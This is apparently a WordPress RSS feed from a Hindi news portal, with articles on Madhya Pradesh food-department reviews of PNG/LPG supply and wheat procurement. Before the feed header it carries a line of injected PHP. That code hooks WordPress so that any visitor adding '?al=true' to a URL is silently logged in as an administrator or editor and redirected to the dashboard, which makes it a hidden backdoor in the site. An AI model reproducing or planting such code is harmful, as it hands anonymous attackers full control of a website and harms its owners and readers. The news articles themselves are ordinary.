// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Rashmi Arun Shami – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 08 Apr 2026 11:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अपर मुख्य सचिव श्रीमती शमी ने की पेट्रोलियम पदार्थों की उपलब्धता की समीक्षा https://pratyushaashakinayikiran.com/?p=211127 Wed, 08 Apr 2026 11:40:00 +0000 https://pratyushaashakinayikiran.com/?p=211127 भोपाल

अपर मुख्‍य सचिव खाद्य श्रीमती रश्मि अरूण शमी ने बुधवार को वीडियो कॉन्‍फ्रेसिंग के माध्‍यम से जिलों के अतिरिक्‍त जिला दण्‍डाधिकारी, नगर निगम एवं नगर पालिका के अधिकारी तथा ऑयल कंपनी एवं सीजीडी के अधिकारियों की बैठक ली। उन्होंने कहा कि ऐसे हाउसहोल्‍ड जहां पीएनजी की लाईन कनेक्‍ट की जा चुकी है, उनको आगामी 10 दिवस के अंदर पीएनजी सप्‍लाई शुरू करें। ऐसे उपभोक्‍ताओं को समझाईश भी दी जाये कि यदि उनके द्वारा पीएनजी सप्‍लाई नहीं ली जाती है, तो भारत सरकार के निर्देशानुसार आगामी 03 माह में उनकी एलपीजी सप्‍लाई बंद की जा सकती है। एसीएस श्रीमती शमी ने गृह विभाग के अधीन आने वाले संस्‍थाओं/सुधार ग़ृ़हों के साथ-साथ पुलिस, सीएपीएफ, डिफेंस इस्‍टेब्लिशमेंट, ऑफिसर्स कॉलोनी, सामान्‍य प्रशासन पूल के घरों, पुलिस मुख्‍यालय, पुलिस कॉलोनी, आदि में जहां से आस-पास पाईपलाईन बिछी हुई है, उनको प्राथमिकता के आधार पर पीएनजी कनेक्‍शन देने के निर्देश दिये।

बैठक में बताया गया कि ऐसे क्षेत्र जहां पाईपलाईन बिछी हुई है, उनके रहवासियों एवं व्‍यवसायियों की सूची तैयार की जाकर कॉलोनियों में कैम्‍प लगाने की कार्यवाहीं की जा रही है। जिलों को निर्देश दिये गये कि प्रचार-प्रसार एवं कैम्‍प लगाने की कार्यवाहीं में स्‍थानीय निकाय नगर निगम एवं नगर पालिका के अधिकारियों तथा वार्ड पार्षद एवं अन्‍य जनप्रतिनिधियों को शामिल किया जाये।

प्रदेश के औद्योगिक क्षेत्रों में जहां आस-पास पाईपलाईन गई है, उन क्षेत्रों की औद्योगिक इकाईयों की पहचान की जाकर पीएनजी पर शिफ्ट करने के निर्देश दिये गये। सीजीडी संस्‍थाओं के मैन पावर में वृद्धि करने के लिए जिला प्रशासन द्वारा पॉली‍टेक्निक आई.टी.आई. एवं अन्‍य संस्‍थाओं से प्रशिक्षार्थियों की सूची प्राप्‍त कर सीजीडी संस्‍था को उपलब्‍ध करायी जा रही है, जो उन्‍हें लघु प्रशिक्षण देने के बाद कार्य में लगायेंगे।

ऑयल कंपनी से प्राप्‍त जानकारी के आधार पर, जिले के माईग्रेट लेबर तथा छात्रों को खाना पकाने के लिए गैस उपलब्‍ध कराने के लिए ऑयल कंपनी द्वारा 5 केजी के सिलेण्‍डर 1529 रूपये प्रति कनेक्‍शन के मान से उपलब्‍ध कराये जा रहे हैं। ऐसे सिलेण्‍डर बगैर एड्रेस प्रूफ के प्राप्‍त किये जा सकते हैं। ऐसे 5 केजी सिलेण्‍डर को रिफिल कराने के लिए रिफिल चार्ज 585 रूपये है।

नगर निगम/नगर पालिका द्वारा जिंगल के माध्‍यम से कचरा गाड़ी के द्वारा पीएनजी का प्रचार-प्रसार करने के निर्देश दिये गये हैं, जिससे हर घर को पीएनजी के लाभ एवं पीएनजी कनेक्‍शन लगाने की प्रक्रिया से अवगत कराया जा सकता है। शादी गार्डन एवं केटरर्स तथा स्‍ट्रीट वेण्‍डर्स को 70 प्रतिशत सीमा के अधीन कमर्शियल सिलेण्‍डर उपलब्‍ध कराने के निर्देश दिये गये।

सीजीडी संस्‍थाओं को पाईपलाईन बिछाने की अनुमति

राज्‍य शासन द्वारा पीएनजी कनेक्‍शन प्रदाय करने के लिए सीजीडी संस्‍थाओं को उनके आवेदन किये जाने के 24 घंटे के अंदर पाइपलाइन बिछाने की ROU स्‍वीकृतियां जारी की जा रही हैं। अभी तक समस्त स्‍वीकृतियां जारी की जा चुकी हैं, कोई भी आवेदन शेष नहीं है ।

कालाबाजारी के विरूद्ध कार्यवाही

प्रदेश में आवश्यक वस्तु अधिनियम के अन्तर्गत एलपीजी की कालाबाजारी रोकने के लिए निरंतर कार्यवाही की जा रही है, अभी तक 3226 स्थानों पर जांच की गई, 3961 एलपीजी सिलेण्डर जब्त किये गए तथा 11 प्रकरणों में एफआईआर दर्ज कराई गई। प्रदेश के समस्‍त जिला आपूर्ति नियंत्रक/अधिकारी एवं ऑयल कंपनी के अधिकारियों को सतत रूप से गैस एजेंसी एवं पेट्रोल पंपों की जांच करने के निर्देश दिये गये है।

 

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गो-डॉउन में ही उपार्जन केन्द्र बनाने को दी जायेगी प्राथमिकता : अपर मुख्य सचिव खाद्य श्रीमती शमी https://pratyushaashakinayikiran.com/?p=180674 Mon, 25 Aug 2025 15:35:00 +0000 https://pratyushaashakinayikiran.com/?p=180674 गो-डॉउन में ही उपार्जन केन्द्र बनाने को दी जायेगी प्राथमिकता : अपर मुख्य सचिव खाद्य श्रीमती शमी

उपार्जन व्यवस्था में सुधार: अब गोदामों में ही बनेगा उपार्जन केन्द्र, सरकार की नई पहल

खाद्य विभाग का फैसला: गो-डॉउन में ही उपार्जन केन्द्र बनाने को मिलेगी प्राथमिकता

प्रोक्योरमेंट रिफार्म पर हुई स्टेट लेवल वर्कशॉप

भोपाल
गो-डॉउन में ही उपार्जन केन्द्र बनाने को प्राथमिकता दी जायेगी। जिससे उपार्जित अनाज के परिवहन में लगने वाला खर्च बच सके। अपर मुख्य सचिव खाद्य, नागरिक आपूर्ति एवं उपभोक्ता संरक्षण श्रीमती रश्मि अरूण शमी ने यह बात प्रोक्योरमेंट रिफार्म पर हुई स्टेट लेवल वर्कशॉप में कही। वर्कशॉप कुशाभाऊ ठाकरे अंतर्राष्ट्रीय कन्वेंशन सेंटर में संपन्न हुई। वर्कशॉप में भारत सरकार के अपर मुख्य सचिव एवं वित्तीय सलाहकार खाद्य एवं नागरिक आपूर्ति संजीव शंकर, भारत सरकार में संयुक्त सचिव सुसी. शिखा सहित अन्य वरिष्ठ अधिकारी उपस्थित थे।

अपर मुख्य सचिव श्रीमती शमी ने कहा कि गत रबी सीजन में लगभग 9 लाख किसानों से 77 लाख मीट्रिक टन से अधिक गेहूं का उपार्जन किया गया और लगभग 20 हजार करोड़ रूपये किसानों के खाते में अंतरित किये गये। गेहूं के उपार्जन में राज्य सरकार द्वारा 175 रूपये प्रति क्विंटल का बोनस दिया गया है। इसी तरह लगभग 6 लाख 50 हजार किसानों से 43.5 लाख मीट्रिक टन धान की खरीदी की गई है। उपार्जन के लिये किसानों के रजिस्ट्रेशन की प्रक्रिया में आधार नम्बर को भी जोड़ा गया है। उपार्जन केन्द्रों से ही मिलर्स को धान देने का प्रावधान किया गया है। उपार्जन केन्द्रों पर किसानों को जरूरी सुविधाएं उपलब्ध कराई जाती हैं। पीडीएस दुकानों में अनाज ले जाने वाले वाहनों की सघन मॉनिटरिंग की जाती है। प्रदेश में उचित मूल्य की दुकानों को जन पोषण केन्द्र के रूप में विकसित करने की भी योजना है। वर्तमान में इंदौर में यह कार्य शुरू कर दिया गया है। उचित मूल्य की दुकानों से खाद्यान्न लेने वाले उपभोक्ताओं की ई-केवायसी कराई जा रही है। ई-केवायसी के बाद अपात्र लोगों को बाहर किया गया है और लगभग 5 लाख 70 हजार नये उपभोक्ताओं को सूची में जोड़ा गया है।

वर्कशॉप में भारत सरकार के अपर सचिव एवं वित्तीय सलाहकार खाद्य एवं नागरिक आपूर्ति संजीव शंकर ने आयोजन के संबंध में विस्तार से जानकारी दी। उन्होंने कहा कि वर्कशॉप में उपस्थित अधिकारी अपने सुझाव जरूर दें। शंकर ने कहा कि उपार्जन की प्रक्रिया को और बेहतर कैसे बनाया जा सकता है, इस संबंध में गहन विमर्श किया जायेगा। भारत सरकार की संयुक्त सचिव पॉलिसी एण्ड एफसीआई सुसी. शिखा ने बिलिंग प्रक्रिया के बारे में जानकारी दी। उन्होंने कहा कि सब्सिडी की जानकारी प्रतिमाह भेजें। उन्होंने मध्यप्रदेश की गुड प्रेक्टिसेस के बारे में भी जानकरी दी और विभाग की कार्यप्रणाली की सराहना की।

जनरल मैनेजर एफसीआई विशेष गढ़पाले ने प्रोक्योरमेंट सेंटर सेल्फ असेसमेंट प्रोग्राम (पीसीएसएपी) के बारे में जानकारी दी। आयुक्त खाद्य कर्मवीर शर्मा ने गेहूं और धान के उपार्जन के संबंध में बनाये गये एक्शन प्लान की जानकारी दी। उन्होंने उपार्जन प्रक्रिया के सरलीकरण के संबंध में महत्वपूर्ण सुझाव भी दिये। एमडी नागरिक आपूर्ति निगम अनुराग वर्मा ने उपार्जन और भंडारण की प्रक्रिया में आने वाली समस्याओं से अवगत कराया। अश्विनी गुप्ता ने फिजिकल वेरिफिकेशन की प्रक्रिया के बारे में जानकारी दी। अन्य उपस्थित अधिकारियों ने भी महत्वपूर्ण सुझाव दिये।

 

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किसानों को उपार्जित गेहूं का भुगतान समय पर करें https://pratyushaashakinayikiran.com/?p=134223 Thu, 27 Feb 2025 12:35:00 +0000 https://pratyushaashakinayikiran.com/?p=134223 भोपाल
प्रमुख सचिव खाद्य, नागरिक आपूर्ति एवं उपभोक्ता संरक्षण श्रीमती रश्मि अरूण शमी ने गुरूवार को वीडियो कॉन्फ्रेंसिंग से सागर एवं शहडोल संभाग के कमिश्नर एवं कलेक्टर्स से न्यूनतम समर्थन मूल्य पर गेहूं उपार्जन की तैयारियों की समीक्षा की। उन्होंने कहा कि किसानों से अच्छी गुणवत्ता का गेहूं उपार्जित करें। साथ ही उपार्जित गेहूं का भुगतान समय पर करें। गौरतलब है कि खाद्य, नागरिक आपूर्ति एवं उपभोक्ता संरक्षण मंत्री गोविंद सिंह राजपूत ने गत दिनों गेहूं उपार्जन की समीक्षा के दौरान जिलेवार उपार्जन तैयारियों की समीक्षा के निर्देश दिये थे।

श्रीमती शमी ने कहा कि उपार्जन केन्द्रों में किसानों के लिये सभी जरूरी सुविधाएं उपलब्ध कराना सुनिश्चित करें। किसानों को गेहूं उपार्जन के लिये पंजीयन कराने के लिये जागरूक करें। उन्होंने संभागायुक्त और जिलों के कलेक्टर्स से अलग-अलग बात कर गेहूं उपार्जन के लिये की गई तैयारियों की जानकारी ली। अभी तक 3 लाख से अधिक किसान गेहूं उपार्जन के लिये पंजीयन करा चुके हैं। श्रीमती शमी ने बताया कि वेयर हाउस के लंबित भुगतान भी जल्द किये जायेंगे। उन्होंने उचित मूल्य दुकानों से राशन प्राप्त करने वाले हितग्राहियों का ई-केवायसी कराने के निर्देश भी दिये। उन्होंने बताया कि गेहूं उपार्जन के लिये किसान 31 मार्च तक पंजीयन करा सकते हैं। इंदौर, उज्जैन, भोपाल और नर्मदापुरम संभाग में गेहूं का उपार्जन 1 मार्च से 18 अप्रैल तक होगा। शेष संभागों में 17 मार्च से 5 मई तक गेहूं का उपार्जन किया जायेगा।

संचालक खाद्य कर्मवीर शर्मा ने कहा कि उपार्जित गेहूं का परिवहन जल्द किया जाये। गेहूं के भंडारण की समुचित व्यवस्था करें। उपार्जन केन्द्रों की माइक्रो प्लानिंग करें। इस बात ध्यान रखें कि उपार्जन केन्द्रों में किसानों को कोई कठिनाई नहीं हो। ई-श्रम पोर्टल पर पंजीकृत श्रमिकों का सत्यापन कराएं। उचित मूल्य दुकान के स्टॉक का भौतिक सत्यापन 7 दिन में करा लें। उपार्जन कार्यों की मॉनिटरिंग के लिये संबंधित अधिकारियों की ड्यूटी लगाएं। उपार्जन केन्द्रों में पर्याप्त बारदानों की व्यवस्था करें।

एमडी नागरिक आपूर्ति निगम अनुराग वर्मा ने किसानों के रजिस्ट्रेशन पर जोर दिया। उन्होंने धान मिलिंग की समीक्षा की तथा मिलिंग का कार्य समय पर पूरा करने के निर्देश दिये। वर्मा ने परिवहन संबंधी लंबित बिलों को जल्द भेजने के निर्देश दिये। उन्होंने कहा कि भुगतान की कार्यवाही शीघ्र की जायेगी। जिला कलेक्टर्स ने गेहूं उपार्जन संबंधी तैयारियों की जानकारी दी।

 

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